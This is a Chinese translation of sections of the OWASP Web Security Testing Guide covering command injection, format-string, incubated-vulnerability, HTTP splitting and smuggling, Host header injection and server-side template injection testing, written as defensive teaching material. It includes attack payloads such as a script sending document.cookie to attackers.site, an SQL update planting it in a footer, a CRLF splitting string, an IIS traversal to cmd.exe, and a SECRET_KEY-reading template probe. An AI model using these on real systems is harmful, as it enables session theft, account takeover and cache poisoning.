    Output...
    卷 C 没有标签。
    卷的序列号是 8E3F - 4B61
    c:\ 的目录
     2006/10/18 00:27 2,675 Dir_Prog.txt
     2006/10/18 00:28 3,887 Dir_ProgFile.txt
     2006/11/16 10:43
        Doc
     2006/11/11 17:25
           Documents and Settings
     2006/10/25 03:11
              I386
     2006/11/14 18:51
             h4ck3r
     2005/09/30 21:40 25,934
            OWASP1.JPG
     2006/11/03 18:29
                Prog
     2006/11/18 11:20
                    Program Files
     2006/11/16 21:12
                        Software
     2006/10/24 18:25
                            Setup
     2006/10/24 23:37
                                Technologies
     2006/11/18 11:14
                                3 个文件 32,496 字节
                                13 个目录 6,921,269,248 字节可用
                                返回码: 0

在这种情况下,我们成功执行了一次操作系统命令注入攻击。

命令注入的特殊字符

以下特殊字符可用于命令注入,如 |;&$><'!

  • cmd1|cmd2:使用 | 时,无论命令 1 是否执行成功,命令 2 都会执行。
  • cmd1;cmd2:使用 ; 时,无论命令 1 是否执行成功,命令 2 都会执行。
  • cmd1||cmd2:只有当命令 1 执行失败时,命令 2 才会执行。
  • cmd1&&cmd2:只有当命令 1 执行成功时,命令 2 才会执行。
  • $(cmd):例如,echo $(whoami)$(touch test.sh; echo 'ls' > test.sh)
  • cmd:用于执行特定命令,例如 whoami
  • >(cmd):如 >(ls)
  • <(cmd):如 <(ls)

代码审查中的危险 API

请注意以下 API 的使用,因为它们可能会引入命令注入风险。

Java

  • Runtime.exec()

C/C++

  • system
  • exec
  • ShellExecute

Python

  • exec
  • eval
  • os.system
  • os.popen
  • subprocess.popen
  • subprocess.call

PHP

  • system
  • shell_exec
  • exec
  • proc_open
  • eval

修复措施

数据清理

需要对 URL 和表单数据中的无效字符进行清理。使用字符黑名单是一种选择,但可能很难考虑到所有需要验证的字符,而且可能还有一些尚未被发现的字符。应该创建一个只包含允许字符或命令的白名单,用于验证用户输入。通过这个白名单,可以消除遗漏的字符以及未被发现的威胁。

命令注入通用的黑名单字符可以包括 |;&$><'\!>>#

对 Windows 系统,需要转义或过滤的特殊字符有 ()<>&*|=?;[]^~!."%@/\:+,、 ```````。

对 Linux 系统,需要转义或过滤的特殊字符有 {}()><&*|=?;[]$#~!."%/\:+,、 ```````。

权限设置

Web 应用程序及其组件应在严格的权限下运行,禁止执行操作系统命令。可以尝试验证所有相关信息,从灰盒测试的角度进行测试。

工具

参考资料

格式化字符串注入测试

编号
WSTG - INPV - 13

概述

格式化字符串是一个以空字符结尾的字符序列,其中还包含在运行时被解释或转换的转换说明符。如果服务器端代码将用户输入与格式化字符串拼接,攻击者可以追加额外的转换说明符,从而导致运行时错误、信息泄露或缓冲区溢出。

格式化字符串漏洞最严重的情况出现在那些不检查参数,并且包含可写入内存的 %n 说明符的语言中。如果攻击者修改格式化字符串来利用这些函数,可能会导致信息泄露和代码执行,涉及的函数如下:

  • C 和 C++ 的 printf 以及类似的方法 fprintf、sprintf、snprintf。
  • Perl 的 printf 和 sprintf。

以下这些格式化字符串函数虽然不能写入内存,但攻击者仍然可以通过更改格式化字符串来输出开发者原本不打算发送的值,从而导致信息泄露:

  • Python 2.6 和 2.7 的 str.format 以及 Python 3 中 Unicode 字符串的 str.format,攻击者可以通过注入字符串指向内存中的其他变量来修改这些函数的行为。

如果攻击者添加转换说明符,以下格式化字符串函数可能会导致运行时错误:

导致格式化字符串漏洞的代码模式是调用包含未经过清理的用户输入的字符串格式化函数。以下示例展示了调试用的 printf 如何使程序变得易受攻击:

C 语言示例

char *userName = /* 来自用户可控字段的输入 */;

printf("DEBUG Current user: ");
// 存在漏洞的调试代码
printf(userName);

Java 示例

final String userName = /* 来自用户可控字段的输入 */;

System.out.printf("DEBUG Current user: ");
// 存在漏洞的代码
System.out.printf(userName);

在这个特定示例中,如果攻击者将其 userName 设置为包含一个或多个转换说明符,就会出现意外行为。在 C 语言示例中,如果 userName 包含 %p%p%p%p%p,程序将打印出内存内容;如果字符串中包含 %n,则可能会破坏内存内容。在 Java 示例中,包含任何需要输入的说明符(包括 %x%s)的 username 会导致程序抛出 IllegalFormatException 异常而崩溃。虽然这些示例还存在其他问题,但可以通过使用 printf("DEBUG Current user: %s", userName) 这样的 printf 参数来修复该漏洞。

测试目标

评估向用户可控字段注入格式化字符串转换说明符是否会导致应用程序出现意外行为。

测试方法

测试包括代码分析以及向被测应用程序输入转换说明符。

静态分析

静态分析工具可以在代码或二进制文件中发现格式化字符串漏洞。示例工具如下:

手动代码审查

静态分析可能会遗漏一些更隐蔽的情况,包括由复杂代码生成的格式化字符串。为了手动在代码库中查找漏洞,测试人员可以查找代码库中所有接受格式化字符串的调用,并回溯以确保不可信输入不会改变格式化字符串。

转换说明符注入

测试人员可以在单元测试或全系统测试级别,通过在任何字符串输入中发送转换说明符来进行检查。使用被测系统所使用的所有语言的转换说明符对程序进行模糊测试。有关可能使用的输入,请参阅 OWASP 格式化字符串攻击页面。如果测试失败,程序将崩溃或显示意外输出。如果测试通过,发送转换说明符的尝试应该被阻止,或者字符串应该像其他有效输入一样正常通过系统。

以下小节中的示例使用的 URL 格式如下:
https://vulnerable_host/userinfo?username=x

  • 用户可控的值是 x(即 username 参数的值)。
手动注入

测试人员可以使用 Web 浏览器或其他 Web API 调试工具进行手动测试。浏览到 Web 应用程序或网站,使查询包含转换说明符。请注意,大多数转换说明符如果在 URL 中发送,需要进行编码,因为它们包含特殊字符,如 %{。测试可以通过以下 URL 引入一串说明符 %s%s%s%n
https://vulnerable_host/userinfo?username=%25s%25s%25s%25n

如果网站存在漏洞,浏览器或工具应该会收到错误,可能包括超时或 HTTP 返回代码 500。

Java 代码会返回以下错误:
java.util.MissingFormatArgumentException: Format specifier '%s'

根据 C 语言的实现,进程可能会因 Segmentation Fault 而完全崩溃。

工具辅助模糊测试

包括 wfuzz 在内的模糊测试工具可以自动执行注入测试。对于 wfuzz,首先创建一个文本文件(在本示例中为 fuzz.txt),每行包含一个输入:

fuzz.txt 文件内容如下:

alice
%s%s%s%n
%p%p%p%p%p
{event.__init__.__globals__[CONFIG][SECRET_KEY]}

fuzz.txt 文件包含以下内容:

  • 一个有效的输入 alice,用于验证应用程序可以处理正常输入。
  • 两个包含类似 C 语言转换说明符的字符串。
  • 一个 Python 转换说明符,用于尝试读取全局变量。

要将模糊测试输入文件发送到被测 Web 应用程序,请使用以下命令:
wfuzz -c -z file,fuzz.txt,urlencode https://vulnerable_host/userinfo?username=FUZZ

在上述调用中,urlencode 参数对字符串进行适当的转义,FUZZ(大写)告诉工具在何处插入输入。

示例输出如下:

ID           Response   Lines    Word     Chars       Payload
===================================================================

000000002:   500        0 L      5 W      142 Ch      "%25s%25s%25s%25n"
000000003:   500        0 L      5 W      137 Ch      "%25p%25p%25p%25p%25p"
000000004:   200        0 L      1 W      48 Ch       "%7Bevent.__init__.__globals__%5BCONFIG%5D%5BSECRET_KEY%5D%7D"
000000001:   200        0 L      1 W      5 Ch        "alice"

上述结果验证了应用程序在注入类似 C 语言的转换说明符 %s%p 时存在漏洞。

潜伏性漏洞测试

编号
WSTG - INPV - 14

概述

潜伏性测试也常被称为持续性攻击,它是一种复杂的测试方法,需要存在不止一处数据验证漏洞才会生效。潜伏性漏洞通常用于针对合法 Web 应用程序的用户实施“水坑”攻击。

潜伏性漏洞具备以下特点:

  • 攻击向量首先要能够被持久化,也就是要存储在持久层中。只有当存在薄弱的数据验证,或者数据是通过其他渠道(如管理控制台,或者直接通过后端批量处理流程)进入系统时,才会出现这种情况。
  • 其次,攻击向量“被调用”后,需要能够成功执行。例如,一次潜伏性跨站脚本(XSS)攻击需要输出验证机制薄弱,这样脚本才能以可执行的形式传递给客户端。

对某些漏洞(甚至是 Web 应用程序的某些功能特性)的利用,会使攻击者能够植入一段数据,这段数据随后会被毫无防备的用户或系统的其他组件获取,进而利用其中的漏洞。

在渗透测试中,“潜伏性攻击”可用于评估某些漏洞的严重程度。借助发现的特定安全问题,构建基于客户端的攻击,这种攻击通常可同时针对大量目标(例如,所有浏览该网站的用户)。

这类异步攻击涵盖了广泛的攻击向量,其中包括:

  • Web 应用程序中的文件上传组件,攻击者可借此上传损坏的媒体文件(利用 CVE - 2004 - 0200 的 JPEG 图像、利用 CVE - 2004 - 0597 的 PNG 图像、可执行文件、带有活动组件的网站页面等)。
  • 公共论坛帖子中的跨站脚本问题(更多详细信息见[存储型跨站脚本测试](02 - Testing_for_Stored_Cross_Site_Scripting.md))。攻击者可能会将恶意脚本或代码存储在 Web 应用程序后端的存储库(如数据库)中,使得这些脚本或代码能被某个用户(终端用户、管理员等)执行。典型的潜伏性攻击示例是,利用用户论坛、公告板或博客中的跨站脚本漏洞,在易受攻击的页面注入一些 JavaScript 代码,这些代码最终会在网站用户的浏览器中渲染并执行,利用的是用户浏览器对原始(易受攻击)网站的信任级别。
  • SQL/XPATH 注入,攻击者可借此将内容上传到数据库,这些内容随后会作为网页活动内容的一部分被获取。例如,如果攻击者能在公告板上发布任意 JavaScript 代码并让用户执行,那么他就可能控制用户的浏览器(如[XSS - 代理](https://sourceforge.net/projects/xss - proxy))。
  • 配置错误的服务器,允许安装 Java 包或类似的网站组件(如 Tomcat,或者 Plesk、CPanel、Helm 等网络托管控制台)。

测试目标

  • 识别那些被存储且需要对存储的注入进行调用步骤的注入情况。
  • 了解调用步骤可能如何发生。
  • 若可能,设置监听器或激活调用步骤。

测试方法

黑盒测试

文件上传示例

验证允许上传到 Web 应用程序的内容类型,以及上传文件的最终 URL。上传一个文件,该文件在用户查看或下载时,会利用本地用户工作站中的某个组件。向目标用户发送一封电子邮件或其他类型的提醒,引导其浏览该页面。预期结果是,当用户浏览生成的页面,或者下载并执行来自可信站点的文件时,漏洞利用程序会被触发。

公告板上的 XSS 示例
  1. 将 JavaScript 代码作为易受攻击字段的值输入,例如 <script>document.write('<img src="https://attackers.site/cv.jpg?'+document.cookie+'">')</script>
  2. 引导用户浏览易受攻击的页面,或者等待用户自行浏览。在 attackers.site 主机上设置一个“监听器”,监听所有传入的连接。
  3. 当用户浏览易受攻击的页面时,包含其 Cookie 的请求(document.cookie 作为请求 URL 的一部分)会被发送到 attackers.site 主机,例如:GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE; HTTP/1.1
  4. 使用获取的 Cookie 在易受攻击的站点上模拟用户身份。
SQL 注入示例

通常,这组示例是通过利用 SQL 注入漏洞来实施 XSS 攻击。首先要测试目标站点是否存在 SQL 注入漏洞,这在[SQL 注入测试](05 - Testing_for_SQL_Injection.md)中有描述。对于每个 SQL 注入漏洞,都有一组潜在的约束条件,描述了攻击者/渗透测试人员被允许执行的查询类型。

然后,测试人员需要将自己设计的 XSS 攻击与允许插入的条目进行匹配。

与前面的 XSS 示例类似,利用易受 SQL 注入问题影响的网页字段,更改数据库中的某个值,该值将被应用程序用作输入,且在网站上显示时未经过适当过滤(这将是 SQL 注入和 XSS 问题的组合)。例如,假设数据库中有一个 footer 表,包含网站所有页面的页脚信息,其中有一个 notice 字段,用于显示每个网页底部的法律声明。可以使用以下查询将 JavaScript 代码注入到数据库 footer 表的 notice 字段中:

SELECT field1, field2, field3
FROM table_x
WHERE field2 = 'x';
   UPDATE footer
   SET notice = 'Copyright 1999 - 2030%20
       <script>document.write(\'<img src="https://attackers.site/cv.jpg?\'+document.cookie+\'">\')</script>'
   WHERE notice = 'Copyright 1999 - 2030';

现在,每个浏览该网站的用户都会悄悄地将其 Cookie 发送到 attackers.site

配置错误的服务器

一些 Web 服务器提供了管理界面,攻击者可能借此将自己选择的活动组件上传到网站。例如,Apache Tomcat 服务器如果没有强制使用强密码来访问其 Web 应用程序管理器(或者渗透测试人员通过其他方式获取了管理模块的有效凭据),就可能出现这种情况。

在这种情况下,可以上传一个 WAR 文件,并在站点上部署一个新的 Web 应用程序。这不仅能让渗透测试人员在服务器本地执行自己选择的代码,还能在可信站点植入一个应用程序,该站点的常规用户随后可以访问该应用程序(与访问其他站点相比,用户可能对其信任度更高)。

显然,通过利用主机上可能存在的任何漏洞,获得对网站根目录的写入权限,从而更改服务器上的网页内容,也有助于在 Web 服务器页面上实施此类潜伏性攻击(实际上,这是一些 Web 服务器蠕虫已知的传播感染方法)。

灰盒测试

灰盒或白盒测试技术与前面讨论的相同。

  • 检查输入验证是缓解此漏洞的关键。如果企业中的其他系统使用相同的持久层,它们可能存在薄弱的输入验证,数据可能会通过“后门”被持久化。
  • 为了应对客户端攻击的“后门”问题,还必须采用输出验证,这样受污染的数据在显示给客户端之前会被编码,从而不会执行。

工具

参考资料

跨站脚本部分的大多数参考资料仍然适用。如前所述,潜伏性攻击是在结合 XSS 或 SQL 注入等攻击手段时实施的。

公告

HTTP 拆分与走私测试

编号
WSTG - INPV - 15

概述

本节介绍了利用 HTTP 协议特定特性的攻击示例,这些攻击要么是利用了 Web 应用程序的弱点,要么是利用了不同代理对 HTTP 消息解释方式的特殊性。本节将分析针对特定 HTTP 头的两种不同攻击:

  • HTTP 拆分
  • HTTP 走私

第一种攻击利用了输入未经过清理的漏洞,入侵者可以在应用程序响应头中插入回车符(CR)和换行符(LF),将响应“拆分”成两条不同的 HTTP 消息。攻击目标可能从缓存投毒到跨站脚本攻击不等。

第二种攻击中,攻击者利用了精心构造的 HTTP 消息可能会被不同接收代理以不同方式解析和解释这一事实。HTTP 走私需要对处理 HTTP 消息的不同代理(Web 服务器、代理服务器、防火墙)有一定了解,因此仅在灰盒测试部分进行讨论。

测试目标

  • 评估应用程序是否易受拆分攻击,并确定可能的攻击方式。
  • 评估通信链是否易受走私攻击,并确定可能的攻击方式。

测试方法

黑盒测试

HTTP 拆分

一些 Web 应用程序会使用部分用户输入来生成响应头的值。最直接的例子是重定向,其中目标 URL 取决于用户提交的值。例如,假设要求用户选择是使用标准还是高级 Web 界面。该选择将作为参数传递,用于响应头中以触发重定向到相应页面。

更具体地说,如果参数 interface 的值为 advanced,应用程序将作出如下响应:

HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: https://victim.com/main.jsp?interface=advanced
<snip>

当浏览器收到此消息时,会将用户带到 Location 头中指定的页面。然而,如果应用程序没有过滤用户输入,就可以在 interface 参数中插入序列 %0d%0a,它代表用于分隔不同行的回车换行符(CRLF)序列。此时,测试人员将能够触发一个响应,该响应会被任何解析它的人(例如位于我们与应用程序之间的 Web 缓存)解释为两条不同的响应。攻击者可以利用这一点对 Web 缓存进行投毒,使其在后续所有请求中提供虚假内容。

假设在前面的示例中,测试人员将以下数据作为 interface 参数传递:

advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>

因此,易受攻击的应用程序的响应将如下所示:

HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: https://victim.com/main.jsp?interface=advanced
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35

<html>Sorry,%20System%20Down</html>
<other data>

Web 缓存会看到两条不同的响应,因此如果攻击者在第一次请求后立即发送第二次请求,请求 /index.html,Web 缓存会将此请求与第二条响应匹配并缓存其内容,这样所有后续通过该 Web 缓存访问 victim.com/index.html 的请求都将收到“系统已关闭”消息。通过这种方式,攻击者可以有效地对使用该 Web 缓存的所有用户(如果该 Web 缓存是 Web 应用程序的反向代理,则是整个互联网)篡改网站内容。

或者,攻击者可以向这些用户传递一个 JavaScript 代码片段,发起跨站脚本攻击,例如窃取 cookie。请注意,虽然漏洞存在于应用程序中,但攻击目标是其用户。因此,为了查找此漏洞,测试人员需要识别所有影响响应中一个或多个头的用户可控输入,并检查是否可以成功注入 CR + LF 序列。

最有可能成为此攻击目标的头包括:

  • Location
  • Set - Cookie

必须注意的是,在现实场景中成功利用此漏洞可能相当复杂,因为必须考虑多个因素:

  1. 渗透测试人员必须在伪造响应中正确设置头,以便其能被成功缓存(例如,设置 Last - Modified 头的日期为未来日期)。他们可能还需要通过在请求头中添加 Pragma: no - cache 发送一个预请求,以销毁目标页面的先前缓存版本。
  2. 应用程序虽然没有过滤 CR + LF 序列,但可能会过滤其他成功攻击所需的字符(例如 <>)。在这种情况下,测试人员可以尝试使用其他编码方式(例如 UTF - 7)。
  3. 一些目标(例如 ASP)会对 Location 头的路径部分进行 URL 编码(例如 www.victim.com/redirect.asp),使 CRLF 序列无效。然而,它们不会对查询部分进行编码(例如 ?interface=advanced),这意味着一个前导问号足以绕过此过滤。

有关此攻击的更详细讨论以及可能的场景和应用的其他信息,请查看本节底部引用的论文。

灰盒测试

HTTP 拆分

了解 Web 应用程序和攻击目标的一些细节将大大有助于成功利用 HTTP 拆分漏洞。例如,不同的目标可能使用不同的方法来确定第一条 HTTP 消息何时结束以及第二条何时开始。有些目标会使用消息边界,如前面的示例所示。其他目标可能会假设不同的消息将由不同的数据包承载。还有一些目标会为每条消息分配预定长度的块:在这种情况下,第二条消息必须正好从一个块的开头开始,这将要求测试人员在两条消息之间使用填充。当易受攻击的参数要在 URL 中发送时,这可能会带来一些麻烦,因为很长的 URL 很可能会被截断或过滤。灰盒测试场景可以帮助攻击者找到解决方法:例如,一些应用程序服务器允许使用 POST 而不是 GET 发送请求。

HTTP 走私

如引言中所述,HTTP 走私利用了精心构造的 HTTP 消息可以被不同代理(浏览器、Web 缓存、应用程序防火墙)以不同方式解析和解释的特点。这种相对较新的攻击类型于 2005 年由 Chaim Linhart、Amit Klein、Ronen Heled 和 Steve Orrin 首次发现。有几种可能的应用场景,我们将分析其中最引人注目的一种:绕过应用程序防火墙。有关更详细的信息和其他场景,请参考本文底部链接的原始白皮书。

绕过应用程序防火墙

有几种产品可以使系统管理员根据请求中嵌入的已知恶意模式来检测和阻止恶意 Web 请求。例如,考虑臭名昭著的旧版 针对 IIS 服务器的 Unicode 目录遍历攻击,攻击者可以通过发出如下请求突破 www 根目录:

https://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<command_to_execute>

当然,通过 URL 中存在的 “…” 和 “cmd.exe” 等字符串很容易发现并过滤此攻击。然而,IIS 5.0 对 POST 请求的处理比较挑剔,当 Content - Type 头不是 application/x - www - form - urlencoded 时,其主体长度最多为 48K 字节,并会截断超过此限制的所有内容。渗透测试人员可以利用这一点创建一个非常大的请求,结构如下:

POST /target.asp HTTP/1.1        <-- 请求 #1
Host: target
Connection: Keep-Alive
Content-Length: 49225
<CRLF>
<49152 字节的垃圾数据>
POST /target.asp HTTP/1.0        <-- 请求 #2
Connection: Keep-Alive
Content-Length: 33
<CRLF>
POST /target.asp HTTP/1.0        <-- 请求 #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0   <-- 请求 #4
Connection: Keep-Alive
<CRLF>

这里发生的情况是,请求 #1 由 49223 字节组成,其中还包括 请求 #2 的行。因此,防火墙(或除 IIS 5.0 之外的任何其他代理)会看到 请求 #1,但看不到 请求 #2(其数据将只是 请求 #1 的一部分),会看到 请求 #3 但错过 请求 #4(因为 POST 将只是伪造头 xxxx 的一部分)。

那么,IIS 5.0 会怎样呢?它会在 49152 字节的垃圾数据之后停止解析 请求 #1(因为它已达到 48K = 49152 字节的限制),因此会将 请求 #2 解析为一个新的、单独的请求。请求 #2 声称其内容为 33 字节,其中包括直到 “xxxx: ” 的所有内容,这使得 IIS 错过 请求 #3(被解释为 请求 #2 的一部分)但发现 请求 #4,因为其 POST 正好从 请求 #2 的第 33 个字节之后开始。这有点复杂,但关键是攻击 URL 不会被防火墙检测到(它将被解释为前一个请求的主体),但会被 IIS 正确解析(并执行)。

虽然在上述情况下,该技术利用了 Web 服务器的一个漏洞,但在其他场景中,我们可以利用不同的支持 HTTP 的设备解析不符合 100% RFC 标准的消息的不同方式。例如,HTTP 协议只允许有一个 Content - Length 头,但没有指定如何处理有两个此头实例的消息。一些实现会使用第一个,而另一些会使用第二个,这为 HTTP 走私攻击创造了条件。另一个例子是在 GET 消息中使用 Content - Length 头。

请注意,HTTP 走私 *不会* 利用目标 Web 应用程序的任何漏洞。因此,在渗透测试项目中,可能有点难以说服客户无论如何都要寻找对策。

参考资料

白皮书

测试 HTTP 传入请求

编号
WSTG - INPV - 16

概述

本节介绍如何在客户端和服务器端监控所有传入/传出的 HTTP 请求。此测试的目的是验证是否存在在后台发送的不必要或可疑的 HTTP 请求。

大多数 Web 安全测试工具(如 AppScan、BurpSuite、ZAP)都充当 HTTP 代理。这需要更改客户端应用程序或浏览器的代理设置。以下列出的测试技术主要关注如何在不更改客户端设置的情况下监控 HTTP 请求,这将更接近生产使用场景。

测试目标

  • 监控所有传入和传出 Web 服务器的 HTTP 请求,以检查是否存在可疑请求。
  • 在不更改最终用户浏览器代理或客户端应用程序的情况下监控 HTTP 流量。

测试方法

反向代理

有时我们希望监控 Web 服务器上的所有 HTTP 传入请求,但无法更改浏览器或应用程序客户端的配置。在这种情况下,我们可以在 Web 服务器端设置一个反向代理,以监控 Web 服务器上的所有传入/传出请求。

对于 Windows 平台,建议使用 Fiddler Classic。它不仅可以进行监控,还可以编辑/重放 HTTP 请求。有关如何将 Fiddler 配置为反向代理,请参考此参考资料

对于 Linux 平台,可以使用 Charles Web 调试代理。

测试步骤如下:

  1. 在 Web 服务器上安装 Fiddler 或 Charles。
  2. 将 Fiddler 或 Charles 配置为反向代理。
  3. 捕获 HTTP 流量。
  4. 检查 HTTP 流量。
  5. 修改 HTTP 请求并重新发送修改后的请求进行测试。

端口转发

端口转发是另一种允许我们在不更改客户端设置的情况下拦截 HTTP 请求的方法。你也可以使用 Charles 作为 SOCKS 代理来实现端口转发,或者使用端口转发工具。这将允许我们将所有捕获的客户端流量转发到 Web 服务器端口。

测试流程如下:

  1. 在另一台机器或 Web 服务器上安装 Charles 或端口转发工具。
  2. 将 Charles 配置为 SOCKS 代理以实现端口转发。

TCP 级网络流量捕获

这种技术在 TCP 级别监控所有网络流量。可以使用 TCPDump 或 WireShark 工具。但是,这些工具不允许我们编辑捕获的流量并发送修改后的 HTTP 请求进行测试。要重放捕获的流量(PCAP)数据包,可以使用 Ostinato。

测试步骤如下:

  1. 在 Web 服务器上激活 TCPDump 或 WireShark 以捕获网络流量。
  2. 监控捕获的文件(PCAP)。
  3. 根据需要使用 Ostinato 工具编辑 PCAP 文件。
  4. 重放 HTTP 请求。

建议使用 Fiddler 或 Charles,因为这些工具可以捕获 HTTP 流量,并且还可以轻松编辑/重放修改后的 HTTP 请求。此外,如果 Web 流量是 HTTPS,WireShark 需要导入 Web 服务器的私钥才能检查 HTTPS 消息体。否则,捕获的流量中的 HTTPS 消息体将全部加密。

工具

参考资料

主机头注入测试

编号
WSTG - INPV - 17

概述

Web服务器通常会在同一个IP地址上托管多个Web应用程序,通过虚拟主机来引用每个应用程序。在传入的HTTP请求中,Web服务器常常根据Host头中提供的值将请求分发到目标虚拟主机。如果没有对该头的值进行适当的验证,攻击者可以提供无效输入,从而导致Web服务器出现以下情况:

  • 将请求分发到列表中的第一个虚拟主机。
  • 重定向到攻击者控制的域名。
  • 实施Web缓存投毒。
  • 操纵密码重置功能。
  • 允许访问原本不打算对外公开的虚拟主机。

测试目标

  • 评估应用程序是否动态解析Host头。
  • 绕过依赖于该头的安全控制机制。

测试方法

初始测试非常简单,只需在Host头字段中提供另一个域名(例如attacker.com)。Web服务器对该头值的处理方式决定了攻击的影响。当Web服务器处理输入并将请求发送到攻击者控制的、位于所提供域名的主机,而不是发送到Web服务器上的内部虚拟主机时,攻击即为有效。

GET / HTTP/1.1
Host: www.attacker.com
[...]

在最简单的情况下,这可能会导致302重定向到所提供的域名。

HTTP/1.1 302 Found
[...]
Location: https://www.attacker.com/login.php

或者,Web服务器可能会将请求发送到列表中的第一个虚拟主机。

X-Forwarded-Host头绕过

如果通过检查Host头中注入的无效输入来缓解Host头注入问题,你可以将值提供给X-Forwarded-Host头。

GET / HTTP/1.1
Host: www.example.com
X-Forwarded-Host: www.attacker.com
[...]

可能会产生如下客户端输出:

[...]
<link src="https://www.attacker.com/link" />
[...]

同样,这取决于Web服务器如何处理该头的值。

Web缓存投毒

攻击者可以使用这种技术操纵Web缓存,向任何请求该内容的人提供被投毒的内容。这依赖于对应用程序自身运行的缓存代理、内容分发网络(CDN)或其他下游提供商进行投毒的能力。因此,受害者在请求易受攻击的应用程序时将无法控制是否接收恶意内容。

GET / HTTP/1.1
Host: www.attacker.com
[...]

当受害者访问易受攻击的应用程序时,将从Web缓存中获取以下内容:

[...]
<link src="https://www.attacker.com/link" />
[...]

密码重置投毒

在创建使用生成的秘密令牌的密码重置链接时,密码重置功能通常会包含Host头的值。如果应用程序处理攻击者控制的域名来创建密码重置链接,受害者可能会点击电子邮件中的链接,使攻击者能够获取重置令牌,从而重置受害者的密码。
以下示例展示了在PHP中使用$_SERVER['HTTP_HOST']的值(该值基于HTTPHost头的内容设置)生成的密码重置链接:

$reset_url = "https://" . $_SERVER['HTTP_HOST'] . "/reset.php?token=" .$token;
send_reset_email($email,$rset_url);

通过向密码重置页面发送带有篡改过的Host头的HTTP请求,我们可以修改链接指向的位置:

POST /request_password_reset.php HTTP/1.1
Host: www.attacker.com
[...]
email=user@example.org

指定的域名(www.attacker.com)随后将用于重置链接,并通过电子邮件发送给用户。当用户点击此链接时,攻击者可以窃取令牌并入侵其账户。

... 邮件片段 ...
点击以下链接重置你的密码:
https://www.attacker.com/reset.php?token=12345
... 邮件片段 ...

访问私有虚拟主机

在某些情况下,服务器可能存在不打算对外公开的虚拟主机。这在分裂式DNS设置中最为常见(内部和外部DNS服务器针对同一域名返回不同的记录)。
例如,一个组织可能在其内部网络上有一台Web服务器,它同时托管其公共网站(www.example.org)和内部 intranet(intranet.example.org,但该记录仅存在于内部DNS服务器上)。尽管从外部网络无法直接浏览到intranet.example.org(因为该域名无法解析),但通过从外部发送带有以下Host头的请求,可能可以访问该intranet:

Host: intranet.example.org

也可以通过在hosts文件中为intranet.example.org添加一个条目,将其指向www.example.org的公共IP地址,或者在测试工具中覆盖DNS解析来实现这一点。

参考资料

服务器端模板注入测试

编号
WSTG - INPV - 18

概述

Web 应用程序通常使用服务器端模板技术(如 Jinja2、Twig、FreeMaker 等)来生成动态 HTML 响应。当用户输入以不安全的方式嵌入模板中,并导致在服务器上执行远程代码时,就会出现服务器端模板注入漏洞(SSTI)。任何支持高级用户提供标记的功能都可能存在 SSTI 漏洞,包括维基页面、评论、营销应用程序、内容管理系统(CMS)等。一些模板引擎采用了各种机制(如沙箱、白名单等)来防范 SSTI。

示例 - Twig

以下示例摘自 Extreme Vulnerable Web Application 项目。

public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {
            return $filter;
        }
    }
    return false;
}

getFilter 函数中,call_user_func($callback, $name) 存在 SSTI 漏洞:name 参数从 HTTP GET 请求中获取,并由服务器执行。

在这里插入图片描述

图 4.7.18 - 1:SSTI XVWA 示例

示例 - Flask/Jinja2

以下示例使用 Flask 和 Jinja2 模板引擎。page 函数从 HTTP GET 请求中接收一个 name 参数,并使用 name 变量的内容渲染 HTML 响应。

@app.route("/page")
def page():
    name = request.values.get('name')
    output = Jinja2.from_string('Hello ' + name + '!').render()
    return output

此代码片段不仅存在跨站脚本攻击(XSS)漏洞,还存在 SSTI 漏洞。在 name 参数中使用以下有效负载:

$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!

测试目标

  • 检测模板注入漏洞点。
  • 识别所使用的模板引擎。
  • 构建利用漏洞的代码。

测试方法

SSTI 漏洞存在于文本或代码上下文中。在纯文本上下文中,用户可以使用包含直接 HTML 代码的自由格式“文本”。在代码上下文中,用户输入也可能被放置在模板语句中(例如,作为变量名)。

识别模板注入漏洞

在纯文本上下文中测试 SSTI 的第一步是构造各种模板引擎常用的模板表达式作为有效负载,并监控服务器响应,以确定哪个模板表达式被服务器执行。

常见的模板表达式示例如下:

a{{bar}}b
a{{7*7}}
{var} ${var} {{var}} <%var%> [% var %]

在这一步,建议使用一个广泛的 模板表达式测试字符串/有效负载列表

在代码上下文中测试 SSTI 略有不同。首先,测试人员构造一个请求,使服务器返回空白或错误响应。在以下示例中,HTTP GET 参数被插入到模板语句中的 personal_greeting 变量中:

personal_greeting=username
Hello user01

使用以下有效负载时,服务器响应为空白的“Hello”:

personal_greeting=username<tag>
Hello

下一步是跳出模板语句,并在其后注入 HTML 标签,使用以下有效负载:

personal_greeting=username}}<tag>
Hello user01 <tag>

识别模板引擎

根据上一步的信息,测试人员现在需要通过提供各种模板表达式来识别所使用的模板引擎。根据服务器响应,测试人员推断出所使用的模板引擎。这篇 PortSwigger 文章更详细地讨论了这种手动识别方法。为了自动识别 SSTI 漏洞和模板引擎,可以使用各种工具,包括 TplmapBackslash Powered Scanner Burp Suite 扩展

构建远程代码执行(RCE)利用代码

这一步的主要目标是通过研究模板文档和进行研究,使用 RCE 利用代码来进一步控制服务器。需要关注的关键领域包括:

  • 模板作者文档中涵盖基本语法的部分。
  • 安全注意事项部分。
  • 内置方法、函数、过滤器和变量列表。
  • 扩展/插件列表。
    测试人员还可以通过关注 self 对象来识别可以暴露的其他对象、方法和属性。如果 self 对象不可用,并且文档未揭示技术细节,建议对变量名进行暴力破解。一旦确定了对象,下一步就是遍历该对象,以识别通过模板引擎可以访问的所有方法、属性和特性。这可能会导致发现其他类型的安全问题,包括权限提升、应用程序密码、API 密钥、配置和环境变量的信息泄露等。

工具

参考资料

服务器端请求伪造测试

编号
WSTG - INPV - 19

概述

